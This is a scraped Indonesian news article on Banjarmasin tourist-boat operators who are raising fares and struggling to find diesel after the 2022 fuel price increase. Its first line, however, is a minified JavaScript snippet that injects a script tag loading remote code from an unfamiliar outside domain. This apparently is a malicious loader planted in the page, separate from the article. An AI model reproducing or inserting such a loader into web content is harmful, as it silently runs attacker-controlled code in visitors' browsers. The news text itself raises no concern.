(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Sejak pemerintah menaikkan harga BBM subsidi jenis solar menjadi Rp 6.800 per liter, kemudian Pertalite Rp 10.000 per liter, operasional kelotok wisata di Banjarmasin semakin tergencet.
Sebanyak 88 orang yang tergabung di dalam otoritas perkumpulan kelotok di Siring Menara Pandang Banjarmasin mengaku resah dengan hal tersebut. Ibarat kena pukulan dua kali, setelah terimbas kenaikan BBM, juga mereka mengaku sulit mendapatkan pasokan solar.
Pengelola Angkutan Kelotok, Syaibani (55) mengatakan, awak kelotok mengeluarkan biaya lebih mahal sekitar Rp 1.000-2.000 per liter dari yang ditetapkan.
Padahal, sopir kelotok pun bergantung pada harga BBM Solar dan Pertalite. AlhasilI para sopir kelotok menaikan tarif angkutan di sebagain tujuan tertentu.
Baca juga: UIN Antasari Gelar BUAF ke-6, Prof Mujib: Ajang Mahasiswa Berpikir Ilmiah dan Kritis
“Untuk mengantisi hal tersebut terpaksa kita naikkan tarif naik kelotok ke tujuan Pasar Terapung Lok Baintan. Di mana sebelumnya kita patok harga Rp 450 ribu. Sekarang naik Rp 50 ribu,” ujar Syaibani kepada Kanalkalimantan.com, Selasa (6/9/2022).
Namun, sambung Syaibani untuk tujuan ke tempat wisata lain seperti Kampung Hijau, Pulau Kembang, dan Pasar Lama, tidak mengalami kenaikan tarif.
Ia mengatakan, para sopir kelotok pun turut mengeluhkan sulitnya mencari bahan bakar solar untuk transportasi sungai.
“Tukang kelotok sekarang susah cari BBM ini dimana-mana tidak ada. Sampai ke Sungai Lulut, di Jalan Tembus, ke Belitung untuk mencari minyaknya saja,” sambungnya.
Dirinya berharap, pemerintah dapat segera membantu mereka untuk mendapatkan kemudahan dalam mendapatkan BBM.
“Kami minta pemerintah dapat mengajukan minyak supaya murah, dan mudah didapatkan. Seperti jalur khusus dengan jumlah anggota 88. Soalnya kita dilarang beli jerigen,” tandasnya. (kanalkalimantan.com/wanda)
Reporter: wanda
Editor: cell
Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More
KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
This website uses cookies.